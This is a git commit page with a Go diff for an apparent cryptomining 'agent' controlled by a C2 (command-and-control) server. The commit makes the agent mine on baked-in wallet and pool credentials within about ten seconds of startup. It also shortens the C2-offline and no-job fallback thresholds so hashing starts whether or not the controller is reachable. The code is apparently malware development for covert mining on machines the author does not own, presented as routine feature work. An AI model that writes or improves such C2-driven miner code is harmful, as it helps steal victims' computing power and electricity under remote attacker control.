feat(agent): mine immediately on startup using baked-in credentials. Reduce Stratum fallback trigger: C2 offline threshold 30s->8s, no-job threshold 60s->15s. Initialize disconnectedSince at manager start (not first tick) so hashing begins within ~10s regardless of C2 availability. C2 remains optional control layer - baked wallet+pool are always the primary source of truth. Default wallet set in builtin.go.
This commit is contained in:
@@ -807,20 +807,23 @@ func (c *AgentClient) write(msg Message) error {
|
||||
}
|
||||
|
||||
// needsStratumFallback returns true when either:
|
||||
// - C2 is offline for > 30 seconds, OR
|
||||
// - C2 is online but no mining job has been delivered in > 60 seconds
|
||||
// - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR
|
||||
// - C2 is online but no mining job has been delivered in > 15 seconds
|
||||
// (the pool proxy on the server is broken or still connecting)
|
||||
//
|
||||
// Mining is the primary purpose of the agent; C2 provides remote control and
|
||||
// job upgrades but is never required to start hashing.
|
||||
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||
if !c.connected.Load() {
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second
|
||||
}
|
||||
// Connected but jobless: check when the last valid job arrived.
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
lastJob := raw.(time.Time)
|
||||
return time.Since(lastJob) > 60*time.Second
|
||||
return time.Since(lastJob) > 15*time.Second
|
||||
}
|
||||
// Never received a job; fall back after 60s of being connected with nothing to mine.
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second
|
||||
// Never received a job; fall back after 15s of being connected with nothing to mine.
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second
|
||||
}
|
||||
|
||||
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
||||
@@ -841,11 +844,11 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
}
|
||||
var fb *fallback
|
||||
|
||||
// disconnectedSince tracks the start of the current disconnection window.
|
||||
// When C2 is connected, it is zeroed. When C2 drops, it is set once and
|
||||
// kept until reconnection. This is also used to measure "connected but
|
||||
// jobless" time when the server pool proxy is broken.
|
||||
var disconnectedSince time.Time
|
||||
// disconnectedSince is set at startup so the 8-second countdown begins
|
||||
// immediately. Mining will start on baked-in credentials within ~10s unless
|
||||
// C2 connects and delivers a job first. When C2 delivers a job this is
|
||||
// zeroed and the fallback stops.
|
||||
disconnectedSince := time.Now()
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
@@ -866,9 +869,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
if c.connected.Load() {
|
||||
log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
} else {
|
||||
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user